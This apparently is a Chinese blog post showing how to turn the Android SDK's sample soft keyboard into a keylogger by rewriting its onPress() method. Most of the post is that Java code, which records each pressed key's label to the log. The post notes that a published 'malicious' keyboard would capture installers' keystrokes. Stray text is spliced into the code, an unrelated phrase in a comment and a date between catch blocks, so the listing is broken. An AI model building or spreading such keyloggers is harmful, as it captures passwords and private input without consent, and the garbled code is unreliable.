android使用键盘钩子实现按键劫持
android在应用层实现按键钩子的方案为:
获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()
函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。
public void onPress(int primaryCode) {
int iKeyboardResId;
int iCode;
String sLabel;
String name ;
LatinKeyboard CurrentKeyboard;
StringBuilder sb = new StringBuilder("");
//android.os.Debug.waitForDebugger();
if(mInputView == null)
return;
Keyboard currentKeyboard = mInputView.getKeyboard();
CurrentKeyboard = (LatinKeyboard)currentKeyboard;
iKeyboardResId = CurrentKeyboard.mXmlResId;
//Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
XmlResourceParser parser = getResources().getXml(iKeyboardResId);
int eventCode;
try
{
eventCode = parser.getEventType();
while (eventCode != XmlResourceParser.END_DOCUMENT)
{
//如果是开始标签
if (eventCode == XmlResourceParser.START_TAG)
{
//获取标签名称
name = parser.getName();
// Log.d("XL: onPress LableName", name);
//判断标签名称是否等于key
if(name.equals("Key"))
{
//获得标签属英语make up是什么意思
sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "codes");
//iCode = parser.getAttributeIntValue(0, -1);
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
iCode = Integer.parseInt(sLabel);
if( iCode == primaryCode)
{
sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "keyLabel");
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keylabel", sLabel);
sb.append("你按下的是: " + sLabel + "键" + "\n");
break;
}
}
}
else if (eventCode == XmlPullParser.END_TAG)
{
}
else if (eventCode == XmlPullParser.TEXT)
{
}
//下一个标签
eventCode = parser.next();
} //while
}
catch (XmlPullParserException e)
{
e.printStackTrace();
}2011年09月
catch (IOException e)
{
e.printStackTrace();
}
Log.d("[XL]", sb.toString());
}
所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。